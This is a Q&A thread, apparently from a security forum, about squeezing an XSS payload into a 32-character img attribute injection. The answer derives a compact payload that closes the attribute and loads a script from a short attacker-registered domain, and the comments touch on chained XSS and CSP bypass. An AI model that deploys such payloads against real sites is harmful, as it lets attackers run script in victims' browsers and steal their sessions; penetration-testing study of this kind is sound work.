I have this piece of HTML:

<img src="image src" alt="{injectable}" title="{injectable}" border="0">

where {injectable} values correspond to the same input value that has to be 32 characters long. How can I trigger my XSS by an external JS file?

This is what I thought:

a"><script src="url">

It seems to work since Firefox closes my <script> tag automatically (and I think any other browsers do too). But what about the URL? How can I shorten it with a 32 characters long payload?


1 Answer 1


32 characters are plenty for this case. Without a src, you are at 19 chars. 17 if you omit " around src, 16 if you omit the a (so you get "><script src=>).

You need two chars for the protocol (//) and nothing for the filename (just serve it from root). Which leaves you with 14 chars for the domain name.

You can easily register a domain with 5 characters yourself (2 chars for the name, 2 for the tld, one for the .), so 14 is no problem. The final payload would look something like "><script src=//aa.aa>, where aa.aa is the domain you registered.

You even have 9 chars to spare (eg to actually close the script, use a filename, a longer domain name, etc.)

  • Thank you! I've found I can look into chained XSS through this, so it's even easier to exploit. Since it's more a programming oriented concept now, I've questioned on StackOverflow it. Your help would really be appreciated!
    – Leon
    Apr 2, 2020 at 17:46
  • @Leon Chaining XSS like that is also a fun technique, and it can actually be really useful if eg a CSP blocks all remote scripts. I would always go with including a remote script if I can as it lifts length and other restrictions, makes writing example exploits much easier, and is less noisy. But whatever works for you :)
    – tim
    Apr 2, 2020 at 19:05
  • could you suggest me how you'd chain XSS your way in there?
    – Leon
    Apr 2, 2020 at 19:14
  • @Leon The same way you are attempting to, with comments to comment out undesired stuff. It's a bit annoying to debug (which is why I'd go with the simple script src approach), but it should work with a bit of patience (look at the browser console for error messages & use a text editor with proper code highlighting to make it easier to spot bugs).
    – tim
    Apr 2, 2020 at 19:18
  • that script doesn't get loaded, unfortunately. Also if it works under my console. How would you go for script src approach?
    – Leon
    Apr 2, 2020 at 19:21

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .